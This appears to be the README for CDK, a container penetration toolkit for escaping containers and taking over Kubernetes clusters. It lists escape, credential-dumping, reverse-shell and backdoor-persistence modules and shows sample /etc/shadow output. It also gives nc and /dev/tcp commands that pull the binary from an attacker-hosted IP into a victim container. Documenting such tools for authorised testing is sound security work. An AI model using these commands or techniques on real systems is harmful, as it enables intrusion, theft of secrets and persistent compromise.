404StarLink/detail/CDK.md

CDK https://github.com/cdk-team/CDK

CDK - Zero Dependency Container Penetration Toolkit

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Legal Disclaimer

Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.

Overview

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Quick Start

Run cdk eva to get evaluate info and a recommend exploit, then run cdk run to start the attack.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Installation/Delivery

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

TIPS: Deliver CDK into target container in real-world penetration testing

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

1. First, host CDK binary on your host with public IP.

(on your host)
nc -lvp 999 < cdk

2. Inside the victim container execute

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

Features

CDK has three modules:

1. Evaluate: gather information inside container to find potential weakness.
2. Exploit: for container escaping, persistance and lateral movement
3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Evaluate Module

Usage

cdk evaluate [--full]

This command will run the scripts below without local file scanning, using --full to enable all.

Tactics	Script	Supported	Usage/Example
Information Gathering	OS Basic Info	✔	link
Information Gathering	Available Capabilities	✔	link
Information Gathering	Available Linux Commands	✔	link
Information Gathering	Mounts	✔	link
Information Gathering	Net Namespace	✔	link
Information Gathering	Sensitive ENV	✔	link
Information Gathering	Sensitive Process	✔	link
Information Gathering	Sensitive Local Files	✔	link
Information Gathering	Kube-proxy Route Localnet(CVE-2020-8558)	✔	link
Information Gathering	DNS-Based Service Discovery	✔	link
Discovery	K8s Api-server Info	✔	link
Discovery	K8s Service-account Info	✔	link
Discovery	Cloud Provider Metadata API	✔	link

Exploit Module

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]

Tactic	Technique	CDK Exploit Name	Supported	In Thin	Doc
Escaping	docker-runc CVE-2019-5736	runc-pwn	✔	✔
Escaping	containerd-shim CVE-2020-15257	shim-pwn	✔		link
Escaping	docker.sock PoC (DIND attack)	docker-sock-check	✔	✔	link
Escaping	docker.sock RCE	docker-sock-pwn	✔	✔	link
Escaping	Docker API(2375) RCE	docker-api-pwn	✔	✔	link
Escaping	Device Mount Escaping	mount-disk	✔	✔	link
Escaping	LXCFS Escaping	lxcfs-rw	✔	✔	link
Escaping	Cgroups Escaping	mount-cgroup	✔	✔	link
Escaping	Abuse Unprivileged User Namespace Escaping CVE-2022-0492	abuse-unpriv-userns	✔	✔	link
Escaping	Procfs Escaping	mount-procfs	✔	✔	link
Escaping	Ptrace Escaping PoC	check-ptrace	✔	✔	link
Escaping	Rewrite Cgroup(devices.allow)	rewrite-cgroup-devices	✔	✔	link
Escaping	Read arbitrary file from host system (CAP_DAC_READ_SEARCH)	cap-dac-read-search	✔	✔	link
Discovery	K8s Component Probe	service-probe	✔	✔	link
Discovery	Dump Istio Sidecar Meta	istio-check	✔	✔	link
Discovery	Dump K8s Pod Security Policies	k8s-psp-dump	✔		link
Remote Control	Reverse Shell	reverse-shell	✔	✔	link
Remote Control	Kubelet Exec	kubelet-exec	✔	✔
Credential Access	Registry BruteForce	registry-brute	✔	✔	link
Credential Access	Access Key Scanning	ak-leakage	✔	✔	link
Credential Access	Etcd Get K8s Token	etcd-get-k8s-token	✔	✔
Credential Access	Dump K8s Secrets	k8s-secret-dump	✔	✔	link
Credential Access	Dump K8s Config	k8s-configmap-dump	✔	✔	link
Privilege Escalation	K8s RBAC Bypass	k8s-get-sa-token	✔	✔	link
Persistence	Deploy WebShell	webshell-deploy	✔	✔	link
Persistence	Deploy Backdoor Pod	k8s-backdoor-daemonset	✔	✔	link
Persistence	Deploy Shadow K8s api-server	k8s-shadow-apiserver	✔		link
Persistence	K8s MITM Attack (CVE-2020-8554)	k8s-mitm-clusterip	✔	✔	link
Persistence	Deploy K8s CronJob	k8s-cronjob	✔	✔	link

Note about Thin: The thin release is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.

Tool Module

Running commands like in Linux, little different in input-args, see the usage link.

cdk nc [options]
cdk ps

Command	Description	Supported	Usage/Example
nc	TCP Tunnel	✔	link
ps	Process Information	✔	link
ifconfig	Network Information	✔	link
vi	Edit Files	✔	link
ectl	Unauthorized enumeration of ectd keys	✔
kcurl	Request to K8s api-server	✔	link
dcurl	Request to Docker HTTP API	✔	link
ucurl	Request to Docker Unix Socket	✔	link
rcurl	Request to Docker Registry API
probe	IP/Port Scanning	✔	link

项目相关

• 2022-11-11 发布演示视频404星链计划开源安全工具演示——CDK
• 2021-11-11 发布文章《CDK:一款针对容器场景的多功能渗透工具》

最近更新

[v1.5.6] - 2026-02-23

更新

• 添加cgroup2_ebpf_bypass容器逃逸漏洞
• 添加容器安全隔离检查以评估模块
• 修复（eva）：重命名服务发现文件

[v1.5.5] - 2025-02-23

更新

• 修复新的调试日志，未来需要修复该错误
• 修复 gh action 中路径中未找到 gox 的问题
• 修复 gh action 由于使用了弃用版本而自动失败的问题
• 修复 shim-pwn 合并目录在路径中出现两次的问题

[v1.5.4] - 2024-11-15

更新

• 修复合并目录在路径中出现两次的问题
• 修复添加测试 poc，Github Action 中出现未知错误的问题
• 优化漏洞列表的输出
• 在所有漏洞中添加类型字符串
• 修复 github action 检查因未知问题而失败的问题
• 添加漏洞的基本结构
• 重新组织漏洞包中的 exp 文件
• 在 cmd 行中运行二进制本机 kubectl 的保留路径
• 修复在路径中找不到 gox 的问题
• 修复使用了弃用版本而自动失败的问题

[v1.5.3] - 2024-05-19

更新

• 为 docker rootfs 适配 docker devicemapper 文件系统
• 增加查看网络连接信息
• 修复 k8s apiserver 中超时问题
• 添加netstat文档
• 修复 cgroup 后半部分切片长度错误

[v1.5.2] - 2023-03-12

更新

• 支持 linux 环境下的不同容器运行时，如 containerd、runc、docker
• 修复shadow-apiserver匿名访问无效的issue，支持新版本的k8s，如 v1.23.1
• 添加迭代部分功能的消息提醒